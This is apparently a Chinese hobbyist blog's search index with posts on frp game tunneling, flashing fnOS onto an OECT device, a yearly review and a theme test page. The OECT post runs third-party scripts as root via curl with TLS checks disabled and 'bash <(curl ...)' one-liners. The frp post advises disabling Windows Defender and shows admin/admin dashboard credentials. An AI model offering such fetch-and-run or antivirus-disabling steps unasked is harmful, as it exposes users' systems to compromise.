WantedBy=multi-user.target 为了安全这里不使用 User=nobody，而是 DynamicUser=yes。 重新加载系统配置 systemctl daemon-reload 启动 frps 并设置开机自启 systemctl enable --now frps 查看运行状态 systemctl status frps 实时滚动查看 frps 的日志 journalctl -u frps -f ","date":"2026-01-14","heading":"服务端","objectID":"/posts/frp-game-connect/:3:1","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#服务端"},{"categories":["折腾"],"collections":null,"content":"服务端 服务器选择和设置 最好选择国内的 VPS ，看了下论坛，推荐的有 腾讯云的锐驰。 一开始我用的 新加坡的VPS。虽然我和朋友都是移动的宽带，这个新加坡的VPS 国内移动延迟才50 左右，但是使用下来有严重的丢包问题，联机起来经常掉线。 然后就找了另一个朋友借了台阿里云深圳的VPS，使用起来就没问题了。 国内面板有防火墙需要设置下规则 入站允许： 7000/tcp and udp 6000/tcp and udp 出站允许： 允许所有 TCP出站 允许所有 UDP 出站 基础配置 下载：wget 对应的链接：Releases · fatedier/frp。一般是 Linux amd64 版本。 解压：tar -zxvf \u0026lt;fielname\u0026gt;。 进入解压后的文件夹，编辑 frps.toml。 auth.token 换复杂一点。 不需要 web面板 可以把最后四行删掉。 如果使用我的配置需要使用端口转发访问。 如果嫌麻烦可以修改webServer.addr = \u0026quot;127.0.0.1\u0026quot; 这一行为webServer.addr = \u0026quot;0.0.0.0\u0026quot;，但是需要最好将 webServer.password 设置成强口令。 # frps.toml bindPort = 7000 kcpBindPort = 7000 auth.method = \"token\" auth.token = \"\" webServer.addr = \"127.0.0.1\" webServer.port = 7500 webServer.user = \"admin\" webServer.password = \"admin\" 运行 ./frps -c ./frps.toml，显示以下信息则启动成功。 2026-01-13 22:14:03.576 [I] [frps/root.go:115] frps uses config file: ./frps.toml 2026-01-13 22:14:03.675 [I] [server/service.go:241] frps tcp listen on 0.0.0.0:7000 2026-01-13 22:14:03.676 [I] [server/service.go:250] frps kcp listen on udp 0.0.0.0:7000 2026-01-13 22:14:03.676 [I] [frps/root.go:124] frps started successfully 2026-01-13 22:14:03.676 [I] [server/service.go:358] dashboard listen on 127.0.0.1:7500 设置systemd 自启动 vim /etc/systemd/system/frps.service 写入以下信息并保存 [Unit] Description=FRP Server Service After=network.target [Service] Type=simple DynamicUser=yes Restart=always RestartSec=5s ExecStart=/opt/frp_0.66.0_linux_amd64/frps -c /opt/frp_0.66.0_linux_amd64/frps.toml LimitNOFILE=1048576 [Install] WantedBy=multi-user.target 为了安全这里不使用 User=nobody，而是 DynamicUser=yes。 重新加载系统配置 systemctl daemon-reload 启动 frps 并设置开机自启 systemctl enable --now frps 查看运行状态 systemctl status frps 实时滚动查看 frps 的日志 journalctl -u frps -f ","date":"2026-01-14","heading":"服务器选择和设置","objectID":"/posts/frp-game-connect/:3:1","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#服务器选择和设置"},{"categories":["折腾"],"collections":null,"content":"服务端 服务器选择和设置 最好选择国内的 VPS ，看了下论坛，推荐的有 腾讯云的锐驰。 一开始我用的 新加坡的VPS。虽然我和朋友都是移动的宽带，这个新加坡的VPS 国内移动延迟才50 左右，但是使用下来有严重的丢包问题，联机起来经常掉线。 然后就找了另一个朋友借了台阿里云深圳的VPS，使用起来就没问题了。 国内面板有防火墙需要设置下规则 入站允许： 7000/tcp and udp 6000/tcp and udp 出站允许： 允许所有 TCP出站 允许所有 UDP 出站 基础配置 下载：wget 对应的链接：Releases · fatedier/frp。一般是 Linux amd64 版本。 解压：tar -zxvf \u0026lt;fielname\u0026gt;。 进入解压后的文件夹，编辑 frps.toml。 auth.token 换复杂一点。 不需要 web面板 可以把最后四行删掉。 如果使用我的配置需要使用端口转发访问。 如果嫌麻烦可以修改webServer.addr = \u0026quot;127.0.0.1\u0026quot; 这一行为webServer.addr = \u0026quot;0.0.0.0\u0026quot;，但是需要最好将 webServer.password 设置成强口令。 # frps.toml bindPort = 7000 kcpBindPort = 7000 auth.method = \"token\" auth.token = \"\" webServer.addr = \"127.0.0.1\" webServer.port = 7500 webServer.user = \"admin\" webServer.password = \"admin\" 运行 ./frps -c ./frps.toml，显示以下信息则启动成功。 2026-01-13 22:14:03.576 [I] [frps/root.go:115] frps uses config file: ./frps.toml 2026-01-13 22:14:03.675 [I] [server/service.go:241] frps tcp listen on 0.0.0.0:7000 2026-01-13 22:14:03.676 [I] [server/service.go:250] frps kcp listen on udp 0.0.0.0:7000 2026-01-13 22:14:03.676 [I] [frps/root.go:124] frps started successfully 2026-01-13 22:14:03.676 [I] [server/service.go:358] dashboard listen on 127.0.0.1:7500 设置systemd 自启动 vim /etc/systemd/system/frps.service 写入以下信息并保存 [Unit] Description=FRP Server Service After=network.target [Service] Type=simple DynamicUser=yes Restart=always RestartSec=5s ExecStart=/opt/frp_0.66.0_linux_amd64/frps -c /opt/frp_0.66.0_linux_amd64/frps.toml LimitNOFILE=1048576 [Install] WantedBy=multi-user.target 为了安全这里不使用 User=nobody，而是 DynamicUser=yes。 重新加载系统配置 systemctl daemon-reload 启动 frps 并设置开机自启 systemctl enable --now frps 查看运行状态 systemctl status frps 实时滚动查看 frps 的日志 journalctl -u frps -f ","date":"2026-01-14","heading":"基础配置","objectID":"/posts/frp-game-connect/:3:1","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#基础配置"},{"categories":["折腾"],"collections":null,"content":"服务端 服务器选择和设置 最好选择国内的 VPS ，看了下论坛，推荐的有 腾讯云的锐驰。 一开始我用的 新加坡的VPS。虽然我和朋友都是移动的宽带，这个新加坡的VPS 国内移动延迟才50 左右，但是使用下来有严重的丢包问题，联机起来经常掉线。 然后就找了另一个朋友借了台阿里云深圳的VPS，使用起来就没问题了。 国内面板有防火墙需要设置下规则 入站允许： 7000/tcp and udp 6000/tcp and udp 出站允许： 允许所有 TCP出站 允许所有 UDP 出站 基础配置 下载：wget 对应的链接：Releases · fatedier/frp。一般是 Linux amd64 版本。 解压：tar -zxvf \u0026lt;fielname\u0026gt;。 进入解压后的文件夹，编辑 frps.toml。 auth.token 换复杂一点。 不需要 web面板 可以把最后四行删掉。 如果使用我的配置需要使用端口转发访问。 如果嫌麻烦可以修改webServer.addr = \u0026quot;127.0.0.1\u0026quot; 这一行为webServer.addr = \u0026quot;0.0.0.0\u0026quot;，但是需要最好将 webServer.password 设置成强口令。 # frps.toml bindPort = 7000 kcpBindPort = 7000 auth.method = \"token\" auth.token = \"\" webServer.addr = \"127.0.0.1\" webServer.port = 7500 webServer.user = \"admin\" webServer.password = \"admin\" 运行 ./frps -c ./frps.toml，显示以下信息则启动成功。 2026-01-13 22:14:03.576 [I] [frps/root.go:115] frps uses config file: ./frps.toml 2026-01-13 22:14:03.675 [I] [server/service.go:241] frps tcp listen on 0.0.0.0:7000 2026-01-13 22:14:03.676 [I] [server/service.go:250] frps kcp listen on udp 0.0.0.0:7000 2026-01-13 22:14:03.676 [I] [frps/root.go:124] frps started successfully 2026-01-13 22:14:03.676 [I] [server/service.go:358] dashboard listen on 127.0.0.1:7500 设置systemd 自启动 vim /etc/systemd/system/frps.service 写入以下信息并保存 [Unit] Description=FRP Server Service After=network.target [Service] Type=simple DynamicUser=yes Restart=always RestartSec=5s ExecStart=/opt/frp_0.66.0_linux_amd64/frps -c /opt/frp_0.66.0_linux_amd64/frps.toml LimitNOFILE=1048576 [Install] WantedBy=multi-user.target 为了安全这里不使用 User=nobody，而是 DynamicUser=yes。 重新加载系统配置 systemctl daemon-reload 启动 frps 并设置开机自启 systemctl enable --now frps 查看运行状态 systemctl status frps 实时滚动查看 frps 的日志 journalctl -u frps -f ","date":"2026-01-14","heading":"设置systemd 自启动","objectID":"/posts/frp-game-connect/:3:1","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#设置systemd-自启动"},{"categories":["折腾"],"collections":null,"content":"客户端 下载对应的链接：Releases · fatedier/frp。一般是 window amd64 版本。 提示 下载前关闭 Windows defender，Windows defender 会识别反向连接的特征并删除下载的 frp。下载后将 frp 文件夹加入排除项，然后再开启 Windows defender。 进入对应文件夹，编辑 frpc.toml 文件。 # frpc.toml serverAddr = \"\" serverPort = 7000 auth.method = \"token\" auth.token = \"\u003c与前文设置对应的token\u003e\" [transport] protocol = \"kcp\" proxyURL = \"\" tcpMux = true heartbeatInterval = 10 heartbeatTimeout = 30 [[proxies]] name = \"test-tcp\" type = \"tcp\" localIP = \"127.0.0.1\" localPort = \u003c游戏联机端口\u003e remotePort = 6000 [[proxies]] name = \"test-udp\" type = \"udp\" localIP = \"127.0.0.1\" localPort = \u003c游戏联机端口\u003e remotePort = 6000 这里用的是 KCP 协议，而不是TCP协议。 AI的解答，二者区别如下： KCP 模式 TCP 模式 稳定性 极强。在丢包 10% 以上的环境下表现更优。 易受网络波动影响，握手严格。 延迟 更低。采用了更激进的重传算法。 正常环境下较低。 流量消耗 偏高。会额外消耗约 10%~20% 流量。 正常。 防火墙友好度 一般。部分地区运营商会干扰 UDP/KCP 流量。 极好。 PowerShell 运行连接：frpc -c frpc.toml，如果信息显示 success 则成功。 警告 使用前需要将 shell 的代理环境关掉，否则会启动失败。 ","date":"2026-01-14","heading":"客户端","objectID":"/posts/frp-game-connect/:3:2","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#客户端"},{"categories":["折腾"],"collections":null,"content":"参考 frp ","date":"2026-01-14","heading":"参考","objectID":"/posts/frp-game-connect/:4:0","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#参考"},{"categories":["折腾"],"collections":null,"content":"目前飞牛OS的OECT版本正在内测，知道最新版本的后续版本支持OTA就刷入看看。","date":"2026-01-13","objectID":"/posts/oect-flash-to-fnos/","tags":["OECT","飞牛OS","刷机"],"title":"OECT刷入飞牛OS","uri":"/posts/oect-flash-to-fnos/"},{"categories":["折腾"],"collections":null,"content":" 摘要 目前飞牛OS的OECT版本正在内测，知道最新版本的后续版本支持OTA就刷入看看。 ","date":"2026-01-13","heading":"","objectID":"/posts/oect-flash-to-fnos/:0:0","tags":["OECT","飞牛OS","刷机"],"title":"OECT刷入飞牛OS","uri":"/posts/oect-flash-to-fnos/#"},{"categories":["折腾"],"collections":null,"content":"前置准备 如果设备已刷入 Armbian，可直接通过开发工具烧录；若为原厂系统，需先参考 B 站视频进入 Maskrom 模式（拆机短接）。 警告 风险提示：拆机有风险，请勿大力出奇迹。 资源获取： 工具包：123云盘 飞牛固件 (OECT 适配版)：恩山论坛原帖 ","date":"2026-01-13","heading":"前置准备","objectID":"/posts/oect-flash-to-fnos/:1:0","tags":["OECT","飞牛OS","刷机"],"title":"OECT刷入飞牛OS","uri":"/posts/oect-flash-to-fnos/#前置准备"},{"categories":["折腾"],"collections":null,"content":"固件烧录流程 刷入瑞芯微驱动，打开瑞芯微开发工具，取消勾选 1 的 loader 选项。 三个点选择刷入的固件。 点击执行，等待进度百分百，就可以断开连接。 插入网线和电源适配器，在路由器后台查看 Debian 的设备，输入IP就跳转到飞牛的后台了。 ","date":"2026-01-13","heading":"固件烧录流程","objectID":"/posts/oect-flash-to-fnos/:2:0","tags":["OECT","飞牛OS","刷机"],"title":"OECT刷入飞牛OS","uri":"/posts/oect-flash-to-fnos/#固件烧录流程"},{"categories":["折腾"],"collections":null,"content":"系统迁移：从 eMMC 到 SSD 为什么需要系统迁移呢？ 因为系统刷入的是 OECT 自带的 emmc。 自带的 emmc 速度没有自己硬盘读写速度快。 emmc 空间有限，系统默认将下载的东西放在 根目录中，而根目录在 emmc中。 如果使用 emmc，使用docker 的时候需要迁移docker，配置维护麻烦。（这个我在用 armbian 的时候折腾了挺久） 如果 eMMC 读写过度损坏，整个主板可能就报废了；如果 SSD 坏了，你只需要换块硬盘。这何尝不是一种raid 可以开启 swap（如果是emmc 对寿命影响挺大，而且由于读写速度，swap 开启后可能并不明显）。 这里用的是恩山大神 xxos的脚本。 sudo -i curl -ksSL https://linux.vvvvvv.de5.net/sh/xxfn-tool.sh -o /usr/local/bin/xxfn-tool \u0026\u0026 chmod +x /usr/local/bin/xxfn-tool \u0026\u0026 xxfn-tool 如果上面链接下载失败可以使用下面备用节点 curl -ksSL https://us1.vvvvvv.de5.net/sh/xxfn-tool.sh -o /usr/local/bin/xxfn-tool \u0026\u0026 chmod +x /usr/local/bin/xxfn-tool \u0026\u0026 xxfn-tool 脚本启动命令 xxfn-tool 这个脚本逻辑是这样，机器上电 -\u0026gt; 读取 eMMC 的 mmcblk0p1获取启动指令 -\u0026gt; 启动指令告诉内核去 sda1 寻找系统文件 -\u0026gt; 系统在 SSD 上运行。 root@fnos:~# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS sda 8:0 0 447.1G 0 disk ├─sda1 8:1 0 32G 0 part / └─sda2 8:2 0 415.1G 0 part └─md0 9:0 0 415G 0 raid1 └─trim_cbe551aa_7f8d_4f9b_92b2_b7ec31c40f5e-0 253:0 0 415G 0 lvm /vol1 mmcblk0 179:0 0 7.3G 0 disk ├─mmcblk0p1 179:1 0 255M 0 part /vol00/RemovableDisk │ /boot └─mmcblk0p2 179:2 0 6.8G 0 part /vol00/RemovableDisk_1 mmcblk0boot0 179:32 0 4M 1 disk mmcblk0boot1 179:64 0 4M 1 disk zram0 252:0 0 0B 0 disk 这个脚本还可以web文件上传，然后用 dd 命令刷入固件。 ","date":"2026-01-13","heading":"系统迁移：从 eMMC 到 SSD","objectID":"/posts/oect-flash-to-fnos/:3:0","tags":["OECT","飞牛OS","刷机"],"title":"OECT刷入飞牛OS","uri":"/posts/oect-flash-to-fnos/#系统迁移从-emmc-到-ssd"},{"categories":["折腾"],"collections":null,"content":"基础环境配置 Linux 换源，docker 换源 bash \u003c(curl -sSL https://linuxmirrors.cn/main.sh) bash \u003c(curl -sSL https://linuxmirrors.cn/docker.sh) 这一步，我家里网络 curl 出现问题。 能获取正确 DNS，使用 mtr 发现是路由中被运营商丢包。 后面 export http_proxy=”192.168.1.3:10808\u0026quot;，在v2rayn 里面 设置 -\u0026gt;路由 ，强制linuxmirrors.cn 走v2ray代理 解决。 开启 bbr+fq echo \"net.core.default_qdisc=fq\" \u003e\u003e /etc/sysctl.conf echo \"net.ipv4.tcp_congestion_control=bbr\" \u003e\u003e /etc/sysctl.conf sysctl -p ","date":"2026-01-13","heading":"基础环境配置","objectID":"/posts/oect-flash-to-fnos/:4:0","tags":["OECT","飞牛OS","刷机"],"title":"OECT刷入飞牛OS","uri":"/posts/oect-flash-to-fnos/#基础环境配置"},{"categories":["折腾"],"collections":null,"content":"参考 OEC ARM飞牛OTA最强工具-多系统切换 升级 克隆 LED灯 修改MAC 一键工具【原创】-京东云、网心云、玩客云等PCDN云设备-恩山无线论坛 - Powered by Discuz! 【更新】OECT飞牛固件294版本|支持OTA更新|影视-相册-网盘离线安装包-京东云、网心云、玩客云等PCDN云设备-恩山无线论坛 - Powered by Discuz! 网心云oec/oec tubro 刷飞牛os教程_哔哩哔哩_bilibili 后面使用再看看和 armbian 的 casaOS 区别在哪。 ","date":"2026-01-13","heading":"参考","objectID":"/posts/oect-flash-to-fnos/:5:0","tags":["OECT","飞牛OS","刷机"],"title":"OECT刷入飞牛OS","uri":"/posts/oect-flash-to-fnos/#参考"},{"categories":["thinking"],"collections":null,"content":"看到朋友写了一篇年度总结我也打算写一篇，hh。主要是换静态博客了，以前很多粗制滥造的文章不好意思再发出来，就写篇文章总结下。","date":"2026-01-09","objectID":"/posts/2025-annual-review/","tags":["thinking"],"title":"2025 Annual Review","uri":"/posts/2025-annual-review/"},{"categories":["thinking"],"collections":null,"content":" 摘要 看到朋友写了一篇年度总结我也打算写一篇，hh。主要是换静态博客了，以前很多粗制滥造的文章不好意思再发出来，就写篇文章总结下。 ","date":"2026-01-09","heading":"","objectID":"/posts/2025-annual-review/:0:0","tags":["thinking"],"title":"2025 Annual Review","uri":"/posts/2025-annual-review/#"},{"categories":["thinking"],"collections":null,"content":"第一台VPS 高中那时候就打算搭建一个自己的代理了，感觉那是很酷的事情。 那时看到油管视频是介绍 Vultr 的，还有毛子的VPS，但是被付款方式卡住了，就放弃了。 24年玩随身Wi-Fi 刷入 debian，通过 1panel 搭建alist，就开始接触到了Linux和自托管，不过只能在局域网运行，而且性能不太行，很容易卡死。 于是寒假买了 racknerd 的 圣何塞VPS，1核1G，普通线路。照着油管视频搭建了第一个自己的代理。 由此一发不可收拾，玩了很多自托管的服务。从随便复制别人的脚本运行到自己写配置文件管理，再到使用 CI/CD 编译推送镜像\u0026hellip;\u0026hellip; 加入了 NodeSeek 这个论坛，成为了 mjj 中的一员。 ","date":"2026-01-09","heading":"第一台VPS","objectID":"/posts/2025-annual-review/:0:1","tags":["thinking"],"title":"2025 Annual Review","uri":"/posts/2025-annual-review/#第一台vps"},{"categories":["thinking"],"collections":null,"content":"博客 有了 VPS，折腾博客便成了顺理成章的事。我的博客架构经历了 Hexo -\u0026gt; WordPress -\u0026gt; Typecho -\u0026gt; Hugo 的演变： Hexo: 起初觉得配置繁琐且生成速度慢，转投了 WordPress。 WordPress: 托管在容器中，但总觉得不够轻便。 Typecho: 被其精美的主题吸引。期间因为更换 VPS 和架构调整还有更换主题，反复重装过数次。 Hugo: 为了保障运行 typecho的 VPS 的安全，最近在配置 typecho 防火墙配合 Cloudflare CDN 花了挺多时间，感觉只是为了一个博客做这么多不太值，加之 Typecho 的许多主题作者都摆烂，对 Beta 版适配不佳，我最终决定放弃动态博客，转向极致简洁的 Hugo。 ","date":"2026-01-09","heading":"博客","objectID":"/posts/2025-annual-review/:0:2","tags":["thinking"],"title":"2025 Annual Review","uri":"/posts/2025-annual-review/#博客"},{"categories":["thinking"],"collections":null,"content":"随身Wi-Fi 三月开学之初，宿舍尚未办理宽带，随身 Wi-Fi 成了我的救命稻草。 受酷安随身 Wi-Fi话题的启发，我尝试对其进行散热改造。为了解决高负荷下的发热降频问题，我通过校友 3D 打印了一个带有风扇位的外壳，并在电商平台配齐了散热片、热敏开关、风扇及电烙铁。 不幸的是，由于焊接技术不精，组装过程中可能误碰了电阻，导致发热反而更加严重。随后我又尝试移植 eSIM，结果再次翻车，报废了一个设备。随着物联卡收费愈发离谱，我的随身 Wi-Fi 折腾之旅也正式告一段落。 最大的感触是，事情还是交给专家做最好\u0026hellip;\u0026hellip; ","date":"2026-01-09","heading":"随身Wi-Fi","objectID":"/posts/2025-annual-review/:0:3","tags":["thinking"],"title":"2025 Annual Review","uri":"/posts/2025-annual-review/#随身wi-fi"},{"categories":["thinking"],"collections":null,"content":"英雄联盟手游 版本变迁，无限火力和符文大乱斗不再好玩，我只玩双人竞技场。 玩过各种套路，竞技场登峰造极后发现也是没什么意思，就退游了。 最大的感受是设计师教人玩游戏，新版本必须照着新版本的强势套路玩，要不然就是折磨自己。 不玩 LOLm 后，我发现属于自己的时间变多了，可以投入到更多有意义的事情中。 ","date":"2026-01-09","heading":"英雄联盟手游","objectID":"/posts/2025-annual-review/:0:4","tags":["thinking"],"title":"2025 Annual Review","uri":"/posts/2025-annual-review/#英雄联盟手游"},{"categories":["thinking"],"collections":null,"content":"Arch Linux 暑假看到一个给电脑装双系统的视频「Archlinux究极指南2025」从手动安装到显卡直通，最后删除Linux_哔哩哔哩_bilibili，就开始折腾了。 用过以下两个桌面： GNOME: 界面优雅，快捷键逻辑顺滑，让我大开眼界。 KDE: 尝试深度定制快捷键，但折腾几天后未达到预期。 用了大概三个月，恰逢此时将Windows 10 系统升级到了 Windows 11，发现其部分新特性也能满足需求，便暂时回归了 Windows。不过计划在寒假再次重启 Arch，体验下 niri 平铺合成器。 ","date":"2026-01-09","heading":"Arch Linux","objectID":"/posts/2025-annual-review/:0:5","tags":["thinking"],"title":"2025 Annual Review","uri":"/posts/2025-annual-review/#arch-linux"},{"categories":["thinking"],"collections":null,"content":"安卓玩机 这一年我经手的设备不少：红米 Note 11T Pro、红米 K80、小米 Pad 6、索尼 Xperia 10 II。 Note 11T Pro: 退役后成为了我的主力刷机机。我为其尝试了类原生 ROM、各种内核调度及墓碑。最终结论是：这台机子待机问题可能是硬件导致。 Redmi K80: 作为现役主力机，主要使用 Shizuku 方案，搭配 GKD 跳广告、Scene 删除系统软件、雹冻结应用。澎湃 OS 3 的流畅度和灵动岛功能给了我不少惊喜。 小米 Pad 6: 购入初衷是利用其第三方内核兼容便宜的联想触控笔（加个只有小米官方笔的一半）。兴致勃勃刷入的时候，遭遇了小米单月只能解锁一台设备的限制，挺恼火的。隔了半个月发现为啥我不换个账号绑定。 索尼 Xperia 10 II: 带鱼屏，白色无敌颜值。参考 XDA 论坛的帖子成功刷入 Recovery 和新系统，然后感觉索然无味，遂出。 ","date":"2026-01-09","heading":"安卓玩机","objectID":"/posts/2025-annual-review/:0:6","tags":["thinking"],"title":"2025 Annual Review","uri":"/posts/2025-annual-review/#安卓玩机"},{"categories":["thinking"],"collections":null,"content":"实验室 十一月，实验室搬迁到了更大的空间，环境焕然一新。 同时姚老师的要求也严格了，每个星期汇报。也有很多工作的学长回来分享经验，学习到很多东西。 今年的最大体会是，想要实现什么，必须要自己去做，说出来大概不会实现，要默默记在心里，知行合一。 ","date":"2026-01-09","heading":"实验室","objectID":"/posts/2025-annual-review/:0:7","tags":["thinking"],"title":"2025 Annual Review","uri":"/posts/2025-annual-review/#实验室"},{"categories":null,"collections":null,"content":"Chifan's friends","date":"2026-01-08","objectID":"/friends/","tags":null,"title":"友情链接","uri":"/friends/"},{"categories":null,"collections":null,"content":"我的信息 - nickname: chifan avatar: https://weavatar.com/avatar/b94b6329d351df1cf9433358aabe700e url: https://blog.chifan.de/ description: 勿忘吃饭，勿忘开心，勿忘做自己 ","date":"2026-01-08","heading":"我的信息","objectID":"/friends/:1:0","tags":null,"title":"友情链接","uri":"/friends/#我的信息"},{"categories":null,"collections":null,"content":"友链要求 评论格式如下: ```yaml - nickname: \u003c你的昵称\u003e avatar: \u003c头像链接\u003e url: \u003c网站链接\u003e description: \u003c网站描述\u003e ``` 注意 想要交换友链的小伙伴，请按上方格式留言哦～ 如果友链失效、停止维护或出现不当内容，可能会被悄悄移除呢！ 希望各位小伙伴能够尊重他人的劳动成果，转载文章时注明出处，让我们一起维护一个良好的博客圈环境～对于那些恶意行为的网站，就不要来申请友链啦！ ","date":"2026-01-08","heading":"友链要求","objectID":"/friends/:2:0","tags":null,"title":"友情链接","uri":"/friends/#友链要求"},{"categories":["draft"],"collections":null,"content":"这是我的第一篇文章，用来测试 Hugo 主题的各种功能。 ","date":"2026-01-06","heading":"","objectID":"/posts/function-test/:0:0","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#"},{"categories":["draft"],"collections":null,"content":"Mermaid 流程图测试 ","date":"2026-01-06","heading":"Mermaid 流程图测试","objectID":"/posts/function-test/:1:0","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#mermaid-流程图测试"},{"categories":["draft"],"collections":null,"content":"流程图示例 graph TD A[开始] --\u003e B{是否登录?} B --\u003e|是| C[显示主页] B --\u003e|否| D[跳转登录页] D --\u003e E[输入账号密码] E --\u003e F{验证成功?} F --\u003e|是| C F --\u003e|否| G[显示错误信息] G --\u003e E C --\u003e H[结束] ","date":"2026-01-06","heading":"流程图示例","objectID":"/posts/function-test/:1:1","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#流程图示例"},{"categories":["draft"],"collections":null,"content":"时序图示例 sequenceDiagram participant 用户 participant 浏览器 participant 服务器 participant 数据库 用户-\u003e\u003e浏览器: 输入URL 浏览器-\u003e\u003e服务器: 发送HTTP请求 服务器-\u003e\u003e数据库: 查询数据 数据库--\u003e\u003e服务器: 返回结果 服务器--\u003e\u003e浏览器: 返回HTML 浏览器--\u003e\u003e用户: 渲染页面 ","date":"2026-01-06","heading":"时序图示例","objectID":"/posts/function-test/:1:2","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#时序图示例"},{"categories":["draft"],"collections":null,"content":"类图示例 classDiagram Animal \u003c|-- Dog Animal \u003c|-- Cat Animal : +String name Animal : +int age Animal : +eat() Animal : +sleep() class Dog{ +String breed +bark() } class Cat{ +String color +meow() } ","date":"2026-01-06","heading":"类图示例","objectID":"/posts/function-test/:1:3","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#类图示例"},{"categories":["draft"],"collections":null,"content":"状态图示例 stateDiagram-v2 [*] --\u003e 待处理 待处理 --\u003e 处理中: 开始处理 处理中 --\u003e 已完成: 处理成功 处理中 --\u003e 失败: 处理异常 失败 --\u003e 待处理: 重试 已完成 --\u003e [*] 失败 --\u003e [*]: 放弃 ","date":"2026-01-06","heading":"状态图示例","objectID":"/posts/function-test/:1:4","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#状态图示例"},{"categories":["draft"],"collections":null,"content":"甘特图示例 gantt title 项目开发计划 dateFormat YYYY-MM-DD section 设计阶段 需求分析 :done, des1, 2026-01-01,2026-01-05 UI设计 :active, des2, 2026-01-06, 7d section 开发阶段 前端开发 : dev1, after des2, 14d 后端开发 : dev2, after des2, 14d section 测试阶段 集成测试 : test1, after dev1, 7d 性能测试 : test2, after dev1, 5d ","date":"2026-01-06","heading":"甘特图示例","objectID":"/posts/function-test/:1:5","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#甘特图示例"},{"categories":["draft"],"collections":null,"content":"饼图示例 pie title 编程语言使用占比 \"Python\" : 35 \"JavaScript\" : 25 \"Go\" : 20 \"Rust\" : 15 \"其他\" : 5 ","date":"2026-01-06","heading":"饼图示例","objectID":"/posts/function-test/:1:6","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#饼图示例"},{"categories":["draft"],"collections":null,"content":"数学公式测试 ","date":"2026-01-06","heading":"数学公式测试","objectID":"/posts/function-test/:2:0","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#数学公式测试"},{"categories":["draft"],"collections":null,"content":"行内公式 这是一个行内公式：E=mc2E = mc^2E=mc2，爱因斯坦的质能方程。 勾股定理：a2+b2=c2a^2 + b^2 = c^2a2+b2=c2 ","date":"2026-01-06","heading":"行内公式","objectID":"/posts/function-test/:2:1","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#行内公式"},{"categories":["draft"],"collections":null,"content":"块级公式 麦克斯韦方程组： ∇⋅E=ρϵ0∇⋅B=0∇×E=−∂B∂t∇×B=μ0J+μ0ϵ0∂E∂t \\begin{aligned} \\nabla \\cdot \\mathbf{E} \u0026amp;= \\frac{\\rho}{\\epsilon_0} \\\\ \\nabla \\cdot \\mathbf{B} \u0026amp;= 0 \\\\ \\nabla \\times \\mathbf{E} \u0026amp;= -\\frac{\\partial \\mathbf{B}}{\\partial t} \\\\ \\nabla \\times \\mathbf{B} \u0026amp;= \\mu_0\\mathbf{J} + \\mu_0\\epsilon_0\\frac{\\partial \\mathbf{E}}{\\partial t} \\end{aligned} ∇⋅E∇⋅B∇×E∇×B​=ϵ0​ρ​=0=−∂t∂B​=μ0​J+μ0​ϵ0​∂t∂E​​傅里叶变换： F(ω)=∫−∞∞f(t)e−iωtdt F(\\omega) = \\int_{-\\infty}^{\\infty} f(t) e^{-i\\omega t} dt F(ω)=∫−∞∞​f(t)e−iωtdt矩阵示例： [a11a12a13a21a22a23a31a32a33] \\begin{bmatrix} a_{11} \u0026amp; a_{12} \u0026amp; a_{13} \\\\ a_{21} \u0026amp; a_{22} \u0026amp; a_{23} \\\\ a_{31} \u0026amp; a_{32} \u0026amp; a_{33} \\end{bmatrix} ​a11​a21​a31​​a12​a22​a32​​a13​a23​a33​​​","date":"2026-01-06","heading":"块级公式","objectID":"/posts/function-test/:2:2","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#块级公式"},{"categories":["draft"],"collections":null,"content":"代码高亮测试 ","date":"2026-01-06","heading":"代码高亮测试","objectID":"/posts/function-test/:3:0","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#代码高亮测试"},{"categories":["draft"],"collections":null,"content":"Python 代码 def fibonacci(n): \"\"\"计算斐波那契数列\"\"\" if n \u003c= 1: return n return fibonacci(n-1) + fibonacci(n-2) # 使用列表推导式 squares = [x**2 for x in range(10)] print(f\"前10个平方数: {squares}\") # 装饰器示例 def timer(func): import time def wrapper(*args, **kwargs): start = time.time() result = func(*args, **kwargs) print(f\"执行时间: {time.time() - start:.4f}秒\") return result return wrapper ","date":"2026-01-06","heading":"Python 代码","objectID":"/posts/function-test/:3:1","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#python-代码"},{"categories":["draft"],"collections":null,"content":"JavaScript 代码 // 异步函数示例 async function fetchUserData(userId) { try { const response = await fetch(`/api/users/${userId}`); const data = await response.json(); return data; } catch (error) { console.error('获取用户数据失败:', error); throw error; } } // Promise 链式调用 fetchUserData(123) .then(user =\u003e console.log(user.name)) .catch(err =\u003e console.error(err)); // ES6 箭头函数和解构 const users = [ { name: 'Alice', age: 25 }, { name: 'Bob', age: 30 } ]; const names = users.map(({ name }) =\u003e name); console.log(names); // ['Alice', 'Bob'] ","date":"2026-01-06","heading":"JavaScript 代码","objectID":"/posts/function-test/:3:2","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#javascript-代码"},{"categories":["draft"],"collections":null,"content":"Go 代码 package main import ( \"fmt\" \"sync\" ) // 并发示例 func worker(id int, jobs \u003c-chan int, results chan\u003c- int, wg *sync.WaitGroup) { defer wg.Done() for job := range jobs { fmt.Printf(\"Worker %d 处理任务 %d\\n\", id, job) results \u003c- job * 2 } } func main() { jobs := make(chan int, 100) results := make(chan int, 100) var wg sync.WaitGroup // 启动3个worker for i := 1; i \u003c= 3; i++ { wg.Add(1) go worker(i, jobs, results, \u0026wg) } // 发送任务 for j := 1; j \u003c= 